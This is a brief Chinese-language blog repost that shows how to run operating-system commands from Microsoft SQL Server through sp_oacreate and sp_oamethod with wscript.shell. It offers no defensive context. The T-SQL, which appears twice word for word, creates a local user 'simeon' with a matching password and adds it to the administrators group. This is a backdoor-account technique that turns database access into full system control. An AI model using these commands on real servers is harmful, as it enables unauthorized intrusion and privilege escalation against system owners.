使用oacreate以及oamethod来执行命令。
declare @shell int
exec sp_oacreate 'wscript.shell',@shell out
exec sp_oamethod @shell ,'run',null,'net user simeon simeon /add'
exec sp_oamethod @shell ,'run',null,'net localgroup administrators simeon /add'
exec sp_oacreate 'wscript.shell',@shell out
exec sp_oamethod @shell ,'run',null,'net user simeon simeon /add'
exec sp_oamethod @shell ,'run',null,'net localgroup administrators simeon /add'
本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/79277